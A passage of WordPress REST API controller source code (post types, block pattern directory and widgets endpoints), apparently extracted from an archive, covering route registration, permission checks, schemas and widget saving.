Restores the more descriptive, specific name for use within this method. $post_type = $item; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php */ return apply_filters( 'rest_prepare_post_type', new WP_REST_Response( array() ), $post_type, $request ); } $taxonomies = wp_list_filter( get_object_taxonomies( $post_type->name, 'objects' ), array( 'show_in_rest' => true ) ); $taxonomies = wp_list_pluck( $taxonomies, 'name' ); $base = ! empty( $post_type->rest_base ) ? $post_type->rest_base : $post_type->name; $namespace = ! empty( $post_type->rest_namespace ) ? $post_type->rest_namespace : 'wp/v2'; $supports = get_all_post_type_supports( $post_type->name ); $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'capabilities', $fields ) ) { $data['capabilities'] = $post_type->cap; } if ( rest_is_field_included( 'description', $fields ) ) { $data['description'] = $post_type->description; } if ( rest_is_field_included( 'hierarchical', $fields ) ) { $data['hierarchical'] = $post_type->hierarchical; } if ( rest_is_field_included( 'has_archive', $fields ) ) { $data['has_archive'] = $post_type->has_archive; } if ( rest_is_field_included( 'visibility', $fields ) ) { $data['visibility'] = array( 'show_in_nav_menus' => (bool) $post_type->show_in_nav_menus, 'show_ui' => (bool) $post_type->show_ui, ); } if ( rest_is_field_included( 'viewable', $fields ) ) { $data['viewable'] = is_post_type_viewable( $post_type ); } if ( rest_is_field_included( 'labels', $fields ) ) { $data['labels'] = $post_type->labels; } if ( rest_is_field_included( 'name', $fields ) ) { $data['name'] = $post_type->label; } if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $post_type->name; } if ( rest_is_field_included( 'icon', $fields ) ) { $data['icon'] = $post_type->menu_icon; } if ( rest_is_field_included( 'supports', $fields ) ) { $data['supports'] = $supports; } if ( rest_is_field_included( 'taxonomies', $fields ) ) { $data['taxonomies'] = array_values( $taxonomies ); } if ( rest_is_field_included( 'rest_base', $fields ) ) { $data['rest_base'] = $base; } if ( rest_is_field_included( 'rest_namespace', $fields ) ) { $data['rest_namespace'] = $namespace; } if ( rest_is_field_included( 'template', $fields ) ) { $data['template'] = $post_type->template ?? array(); } if ( rest_is_field_included( 'template_lock', $fields ) ) { $data['template_lock'] = ! empty( $post_type->template_lock ) ? $post_type->template_lock : false; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $post_type ) ); } /** * Filters a post type returned from the REST API. * * Allows modification of the post type data right before it is returned. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post_Type $post_type The original post type object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_post_type', $response, $post_type, $request ); } /** * Prepares links for the request. * * @since 6.1.0 * * @param WP_Post_Type $post_type The post type. * @return array Links for the given post type. */ protected function prepare_links( $post_type ) { return array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'https://api.w.org/items' => array( 'href' => rest_url( rest_get_route_for_post_type_items( $post_type->name ) ), ), ); } /** * Retrieves the post type's schema, conforming to JSON Schema. * * @since 4.7.0 * @since 4.8.0 The `supports` property was added. * @since 5.9.0 The `visibility` and `rest_namespace` properties were added. * @since 6.1.0 The `icon` property was added. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'type', 'type' => 'object', 'properties' => array( 'capabilities' => array( 'description' => __( 'All capabilities used by the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'A human-readable description of the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'hierarchical' => array( 'description' => __( 'Whether or not the post type should have children.' ), 'type' => 'boolean', 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'viewable' => array( 'description' => __( 'Whether or not the post type can be viewed.' ), 'type' => 'boolean', 'context' => array( 'edit' ), 'readonly' => true, ), 'labels' => array( 'description' => __( 'Human-readable labels for the post type for various contexts.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The title for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'slug' => array( 'description' => __( 'An alphanumeric identifier for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'supports' => array( 'description' => __( 'All features, supported by the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, ), 'has_archive' => array( 'description' => __( 'If the value is a string, the value will be used as the archive slug. If the value is false the post type has no archive.' ), 'type' => array( 'string', 'boolean' ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'taxonomies' => array( 'description' => __( 'Taxonomies associated with post type.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'context' => array( 'view', 'edit' ), 'readonly' => true, ), 'rest_base' => array( 'description' => __( 'REST base route for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'rest_namespace' => array( 'description' => __( 'REST route\'s namespace for the post type.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'visibility' => array( 'description' => __( 'The visibility settings for the post type.' ), 'type' => 'object', 'context' => array( 'edit' ), 'readonly' => true, 'properties' => array( 'show_ui' => array( 'description' => __( 'Whether to generate a default UI for managing this post type.' ), 'type' => 'boolean', ), 'show_in_nav_menus' => array( 'description' => __( 'Whether to make the post type available for selection in navigation menus.' ), 'type' => 'boolean', ), ), ), 'icon' => array( 'description' => __( 'The icon for the post type.' ), 'type' => array( 'string', 'null' ), 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'template' => array( 'type' => array( 'array' ), 'description' => __( 'The block template associated with the post type.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'template_lock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ), 'description' => __( 'The template_lock associated with the post type, or false if none.' ), 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 4.7.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ); } } class-wp-rest-pattern-directory-controller.php000064400000031120152506367270015631 0ustar00namespace = 'wp/v2'; $this->rest_base = 'pattern-directory'; } /** * Registers the necessary REST API routes. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/patterns', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to view the local block pattern directory. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has permission, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_pattern_directory_cannot_view', __( 'Sorry, you are not allowed to browse the local block pattern directory.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Search and retrieve block patterns metadata * * @since 5.8.0 * @since 6.0.0 Added 'slug' to request. * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $valid_query_args = array( 'offset' => true, 'order' => true, 'orderby' => true, 'page' => true, 'per_page' => true, 'search' => true, 'slug' => true, ); $query_args = array_intersect_key( $request->get_params(), $valid_query_args ); $query_args['locale'] = get_user_locale(); $query_args['wp-version'] = wp_get_wp_version(); $query_args['pattern-categories'] = $request['category'] ?? false; $query_args['pattern-keywords'] = $request['keyword'] ?? false; $query_args = array_filter( $query_args ); $transient_key = $this->get_transient_key( $query_args ); /* * Use network-wide transient to improve performance. The locale is the only site * configuration that affects the response, and it's included in the transient key. */ $raw_patterns = get_site_transient( $transient_key ); if ( ! $raw_patterns ) { $api_url = 'http://api.wordpress.org/patterns/1.0/?' . build_query( $query_args ); if ( wp_http_supports( array( 'ssl' ) ) ) { $api_url = set_url_scheme( $api_url, 'https' ); } /* * Default to a short TTL, to mitigate cache stampedes on high-traffic sites. * This assumes that most errors will be short-lived, e.g., packet loss that causes the * first request to fail, but a follow-up one will succeed. The value should be high * enough to avoid stampedes, but low enough to not interfere with users manually * re-trying a failed request. */ $cache_ttl = 5; $wporg_response = wp_remote_get( $api_url ); $raw_patterns = json_decode( wp_remote_retrieve_body( $wporg_response ) ); if ( is_wp_error( $wporg_response ) ) { $raw_patterns = $wporg_response; } elseif ( ! is_array( $raw_patterns ) ) { // HTTP request succeeded, but response data is invalid. $raw_patterns = new WP_Error( 'pattern_api_failed', sprintf( /* translators: %s: Support forums URL. */ __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server’s configuration. If you continue to have problems, please try the support forums.' ), __( 'https://wordpress.org/support/forums/' ) ), array( 'response' => wp_remote_retrieve_body( $wporg_response ), ) ); } else { // Response has valid data. $cache_ttl = HOUR_IN_SECONDS; } set_site_transient( $transient_key, $raw_patterns, $cache_ttl ); } if ( is_wp_error( $raw_patterns ) ) { $raw_patterns->add_data( array( 'status' => 500 ) ); return $raw_patterns; } if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $response = array(); if ( $raw_patterns ) { foreach ( $raw_patterns as $pattern ) { $response[] = $this->prepare_response_for_collection( $this->prepare_item_for_response( $pattern, $request ) ); } } return new WP_REST_Response( $response ); } /** * Prepare a raw block pattern before it gets output in a REST API response. * * @since 5.8.0 * @since 5.9.0 Renamed `$raw_pattern` to `$item` to match parent class for PHP 8 named parameter support. * * @param object $item Raw pattern from api.wordpress.org, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $raw_pattern = $item; $prepared_pattern = array( 'id' => absint( $raw_pattern->id ), 'title' => sanitize_text_field( $raw_pattern->title->rendered ), 'content' => wp_kses_post( $raw_pattern->pattern_content ), 'categories' => array_map( 'sanitize_title', $raw_pattern->category_slugs ), 'keywords' => array_map( 'sanitize_text_field', explode( ',', $raw_pattern->meta->wpop_keywords ) ), 'description' => sanitize_text_field( $raw_pattern->meta->wpop_description ), 'viewport_width' => absint( $raw_pattern->meta->wpop_viewport_width ), 'block_types' => array_map( 'sanitize_text_field', $raw_pattern->meta->wpop_block_types ), ); $prepared_pattern = $this->add_additional_fields_to_object( $prepared_pattern, $request ); $response = new WP_REST_Response( $prepared_pattern ); /** * Filters the REST API response for a block pattern. * * @since 5.8.0 * * @param WP_REST_Response $response The response object. * @param object $raw_pattern The unprepared block pattern. * @param WP_REST_Request $request The request object. */ return apply_filters( 'rest_prepare_block_pattern', $response, $raw_pattern, $request ); } /** * Retrieves the block pattern's schema, conforming to JSON Schema. * * @since 5.8.0 * @since 6.2.0 Added `'block_types'` to schema. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'pattern-directory-item', 'type' => 'object', 'properties' => array( 'id' => array( 'description' => __( 'The pattern ID.' ), 'type' => 'integer', 'minimum' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'title' => array( 'description' => __( 'The pattern title, in human readable format.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The pattern content.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( "The pattern's category slugs." ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'keywords' => array( 'description' => __( "The pattern's keywords." ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'A description of the pattern.' ), 'type' => 'string', 'minLength' => 1, 'context' => array( 'view', 'edit', 'embed' ), ), 'viewport_width' => array( 'description' => __( 'The preferred width of the viewport when previewing a pattern, in pixels.' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), ), 'block_types' => array( 'description' => __( 'The block types which can use this pattern.' ), 'type' => 'array', 'uniqueItems' => true, 'items' => array( 'type' => 'string' ), 'context' => array( 'view', 'embed' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search parameters for the block pattern's collection. * * @since 5.8.0 * @since 6.2.0 Added 'per_page', 'page', 'offset', 'order', and 'orderby' to request. * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['per_page']['default'] = 100; $query_params['search']['minLength'] = 1; $query_params['context']['default'] = 'view'; $query_params['category'] = array( 'description' => __( 'Limit results to those matching a category ID.' ), 'type' => 'integer', 'minimum' => 1, ); $query_params['keyword'] = array( 'description' => __( 'Limit results to those matching a keyword ID.' ), 'type' => 'integer', 'minimum' => 1, ); $query_params['slug'] = array( 'description' => __( 'Limit results to those matching a pattern (slug).' ), 'type' => 'array', ); $query_params['offset'] = array( 'description' => __( 'Offset the result set by a specific number of items.' ), 'type' => 'integer', ); $query_params['order'] = array( 'description' => __( 'Order sort attribute ascending or descending.' ), 'type' => 'string', 'default' => 'desc', 'enum' => array( 'asc', 'desc' ), ); $query_params['orderby'] = array( 'description' => __( 'Sort collection by post attribute.' ), 'type' => 'string', 'default' => 'date', 'enum' => array( 'author', 'date', 'id', 'include', 'modified', 'parent', 'relevance', 'slug', 'include_slugs', 'title', 'favorite_count', ), ); /** * Filter collection parameters for the block pattern directory controller. * * @since 5.8.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_pattern_directory_collection_params', $query_params ); } /** * Include a hash of the query args, so that different requests are stored in * separate caches. * * MD5 is chosen for its speed, low-collision rate, universal availability, and to stay * under the character limit for `_site_transient_timeout_{...}` keys. * * @link https://stackoverflow.com/questions/3665247/fastest-hash-for-non-cryptographic-uses * * @since 6.0.0 * * @param array $query_args Query arguments to generate a transient key from. * @return string Transient key. */ protected function get_transient_key( $query_args ) { if ( isset( $query_args['slug'] ) ) { // This is an additional precaution because the "sort" function expects an array. $query_args['slug'] = wp_parse_list( $query_args['slug'] ); // Empty arrays should not affect the transient key. if ( empty( $query_args['slug'] ) ) { unset( $query_args['slug'] ); } else { // Sort the array so that the transient key doesn't depend on the order of slugs. sort( $query_args['slug'] ); } } return 'wp_remote_block_patterns_' . md5( serialize( $query_args ) ); } } class-wp-rest-widgets-controller.php000064400000064356152506367270013641 0ustar00 true ); /** * Widgets controller constructor. * * @since 5.8.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'widgets'; } /** * Registers the widget routes for the controller. * * @since 5.8.0 */ public function register_routes() { register_rest_route( $this->namespace, $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema(), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, $this->rest_base . '/(?P[\w\-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'description' => __( 'Whether to force removal of the widget, or move it to the inactive sidebar.' ), 'type' => 'boolean', ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to get widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { $this->retrieve_widgets(); if ( isset( $request['sidebar'] ) && $this->check_read_sidebar_permission( $request['sidebar'] ) ) { return true; } foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { if ( $this->check_read_sidebar_permission( $sidebar_id ) ) { return true; } } return $this->permissions_check( $request ); } /** * Retrieves a collection of widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Response object. */ public function get_items( $request ) { if ( $request->is_method( 'HEAD' ) ) { // Return early as this handler doesn't add any response headers. return new WP_REST_Response( array() ); } $this->retrieve_widgets(); $prepared = array(); $permissions_check = $this->permissions_check( $request ); foreach ( wp_get_sidebars_widgets() as $sidebar_id => $widget_ids ) { if ( isset( $request['sidebar'] ) && $sidebar_id !== $request['sidebar'] ) { continue; } if ( is_wp_error( $permissions_check ) && ! $this->check_read_sidebar_permission( $sidebar_id ) ) { continue; } foreach ( $widget_ids as $widget_id ) { $response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request ); if ( ! is_wp_error( $response ) ) { $prepared[] = $this->prepare_response_for_collection( $response ); } } } return new WP_REST_Response( $prepared ); } /** * Checks if a given request has access to get a widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( $sidebar_id && $this->check_read_sidebar_permission( $sidebar_id ) ) { return true; } return $this->permissions_check( $request ); } /** * Checks if a sidebar can be read publicly. * * @since 5.9.0 * * @param string $sidebar_id The sidebar ID. * @return bool Whether the sidebar can be read. */ protected function check_read_sidebar_permission( $sidebar_id ) { $sidebar = wp_get_sidebar( $sidebar_id ); return ! empty( $sidebar['show_in_rest'] ); } /** * Gets an individual widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( is_null( $sidebar_id ) ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); } /** * Checks if a given request has access to create widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function create_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Creates a widget. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $sidebar_id = $request['sidebar']; $widget_id = $this->save_widget( $request, $sidebar_id ); if ( is_wp_error( $widget_id ) ) { return $widget_id; } wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ); $request['context'] = 'edit'; $response = $this->prepare_item_for_response( compact( 'sidebar_id', 'widget_id' ), $request ); if ( is_wp_error( $response ) ) { return $response; } $response->set_status( 201 ); return $response; } /** * Checks if a given request has access to update widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function update_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Updates an existing widget. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function update_item( $request ) { global $wp_widget_factory; /* * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global. * * When batch requests are processed, this global is not properly updated by previous * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets * sidebar. * * See https://core.trac.wordpress.org/ticket/53657. */ wp_get_sidebars_widgets(); $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); // Allow sidebar to be unset or missing when widget is not a WP_Widget. $parsed_id = wp_parse_widget_id( $widget_id ); $widget_object = $wp_widget_factory->get_widget_object( $parsed_id['id_base'] ); if ( is_null( $sidebar_id ) && $widget_object ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } if ( $request->has_param( 'instance' ) || $request->has_param( 'form_data' ) ) { $maybe_error = $this->save_widget( $request, $sidebar_id ); if ( is_wp_error( $maybe_error ) ) { return $maybe_error; } } if ( $request->has_param( 'sidebar' ) ) { if ( $sidebar_id !== $request['sidebar'] ) { $sidebar_id = $request['sidebar']; wp_assign_widget_to_sidebar( $widget_id, $sidebar_id ); } } $request['context'] = 'edit'; return $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); } /** * Checks if a given request has access to delete widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function delete_item_permissions_check( $request ) { return $this->permissions_check( $request ); } /** * Deletes a widget. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widget_updates The registered widget update functions. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { global $wp_widget_factory, $wp_registered_widget_updates; /* * retrieve_widgets() contains logic to move "hidden" or "lost" widgets to the * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global. * * When batch requests are processed, this global is not properly updated by previous * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets * sidebar. * * See https://core.trac.wordpress.org/ticket/53657. */ wp_get_sidebars_widgets(); $this->retrieve_widgets(); $widget_id = $request['id']; $sidebar_id = wp_find_widgets_sidebar( $widget_id ); if ( is_null( $sidebar_id ) ) { return new WP_Error( 'rest_widget_not_found', __( 'No widget was found with that id.' ), array( 'status' => 404 ) ); } $request['context'] = 'edit'; if ( $request['force'] ) { $response = $this->prepare_item_for_response( compact( 'widget_id', 'sidebar_id' ), $request ); $parsed_id = wp_parse_widget_id( $widget_id ); $id_base = $parsed_id['id_base']; $original_post = $_POST; $original_request = $_REQUEST; $_POST = array( 'sidebar' => $sidebar_id, "widget-$id_base" => array(), 'the-widget-id' => $widget_id, 'delete_widget' => '1', ); $_REQUEST = $_POST; /** This action is documented in wp-admin/widgets-form.php */ do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base ); $callback = $wp_registered_widget_updates[ $id_base ]['callback']; $params = $wp_registered_widget_updates[ $id_base ]['params']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); ob_end_clean(); } $_POST = $original_post; $_REQUEST = $original_request; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( $widget_object ) { /* * WP_Widget sets `updated = true` after an update to prevent more than one widget * from being saved per request. This isn't what we want in the REST API, though, * as we support batch requests. */ $widget_object->updated = false; } wp_assign_widget_to_sidebar( $widget_id, '' ); $response->set_data( array( 'deleted' => true, 'previous' => $response->get_data(), ) ); } else { wp_assign_widget_to_sidebar( $widget_id, 'wp_inactive_widgets' ); $response = $this->prepare_item_for_response( array( 'sidebar_id' => 'wp_inactive_widgets', 'widget_id' => $widget_id, ), $request ); } /** * Fires after a widget is deleted via the REST API. * * @since 5.8.0 * * @param string $widget_id ID of the widget marked for deletion. * @param string $sidebar_id ID of the sidebar the widget was deleted from. * @param WP_REST_Response|WP_Error $response The response data, or WP_Error object on failure. * @param WP_REST_Request $request The request sent to the API. */ do_action( 'rest_delete_widget', $widget_id, $sidebar_id, $response, $request ); return $response; } /** * Performs a permissions check for managing widgets. * * @since 5.8.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error */ protected function permissions_check( $request ) { if ( ! current_user_can( 'edit_theme_options' ) ) { return new WP_Error( 'rest_cannot_manage_widgets', __( 'Sorry, you are not allowed to manage widgets on this site.' ), array( 'status' => rest_authorization_required_code(), ) ); } return true; } /** * Looks for "lost" widgets once per request. * * @since 5.9.0 * * @see retrieve_widgets() */ protected function retrieve_widgets() { if ( ! $this->widgets_retrieved ) { retrieve_widgets(); $this->widgets_retrieved = true; } } /** * Saves the widget in the request object. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widget_updates The registered widget update functions. * * @param WP_REST_Request $request Full details about the request. * @param string $sidebar_id ID of the sidebar the widget belongs to. * @return string|WP_Error The saved widget ID. */ protected function save_widget( $request, $sidebar_id ) { global $wp_widget_factory, $wp_registered_widget_updates; require_once ABSPATH . 'wp-admin/includes/widgets.php'; // For next_widget_id_number(). if ( isset( $request['id'] ) ) { // Saving an existing widget. $id = $request['id']; $parsed_id = wp_parse_widget_id( $id ); $id_base = $parsed_id['id_base']; $number = $parsed_id['number'] ?? null; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); $creating = false; } elseif ( $request['id_base'] ) { // Saving a new widget. $id_base = $request['id_base']; $widget_object = $wp_widget_factory->get_widget_object( $id_base ); $number = $widget_object ? next_widget_id_number( $id_base ) : null; $id = $widget_object ? $id_base . '-' . $number : $id_base; $creating = true; } else { return new WP_Error( 'rest_invalid_widget', __( 'Widget type (id_base) is required.' ), array( 'status' => 400 ) ); } if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided widget type (id_base) cannot be updated.' ), array( 'status' => 400 ) ); } if ( isset( $request['instance'] ) ) { if ( ! $widget_object ) { return new WP_Error( 'rest_invalid_widget', __( 'Cannot set instance on a widget that does not extend WP_Widget.' ), array( 'status' => 400 ) ); } if ( isset( $request['instance']['raw'] ) ) { if ( empty( $widget_object->widget_options['show_instance_in_rest'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'Widget type does not support raw instances.' ), array( 'status' => 400 ) ); } $instance = $request['instance']['raw']; } elseif ( isset( $request['instance']['encoded'], $request['instance']['hash'] ) ) { $serialized_instance = base64_decode( $request['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), $request['instance']['hash'] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is malformed.' ), array( 'status' => 400 ) ); } $instance = unserialize( $serialized_instance ); } else { return new WP_Error( 'rest_invalid_widget', __( 'The provided instance is invalid. Must contain raw OR encoded and hash.' ), array( 'status' => 400 ) ); } $form_data = array( "widget-$id_base" => array( $number => $instance, ), 'sidebar' => $sidebar_id, ); } elseif ( isset( $request['form_data'] ) ) { $form_data = $request['form_data']; } else { $form_data = array(); } $original_post = $_POST; $original_request = $_REQUEST; foreach ( $form_data as $key => $value ) { $slashed_value = wp_slash( $value ); $_POST[ $key ] = $slashed_value; $_REQUEST[ $key ] = $slashed_value; } $callback = $wp_registered_widget_updates[ $id_base ]['callback']; $params = $wp_registered_widget_updates[ $id_base ]['params']; if ( is_callable( $callback ) ) { ob_start(); call_user_func_array( $callback, $params ); ob_end_clean(); } $_POST = $original_post; $_REQUEST = $original_request; if ( $widget_object ) { // Register any multi-widget that the update callback just created. $widget_object->_set( $number ); $widget_object->_register_one( $number ); /* * WP_Widget sets `updated = true` after an update to prevent more than one widget * from being saved per request. This isn't what we want in the REST API, though, * as we support batch requests. */ $widget_object->updated = false; } /** * Fires after a widget is created or updated via the REST API. * * @since 5.8.0 * * @param string $id ID of the widget being saved. * @param string $sidebar_id ID of the sidebar containing the widget being saved. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a widget, false when updating. */ do_action( 'rest_after_save_widget', $id, $sidebar_id, $request, $creating ); return $id; } /** * Prepares the widget for the REST response. * * @since 5.8.0 * * @global WP_Widget_Factory $wp_widget_factory * @global array $wp_registered_widgets The registered widgets. * * @param array $item An array containing a widget_id and sidebar_id. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { global $wp_widget_factory, $wp_registered_widgets; $widget_id = $item['widget_id']; $sidebar_id = $item['sidebar_id']; if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) { return new WP_Error( 'rest_invalid_widget', __( 'The requested widget is invalid.' ), array( 'status' => 500 ) ); } $widget = $wp_registered_widgets[ $widget_id ]; // Don't prepare the response body for HEAD requests. if ( $request->is_method( 'HEAD' ) ) { /** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php */ return apply_filters( 'rest_prepare_widget', new 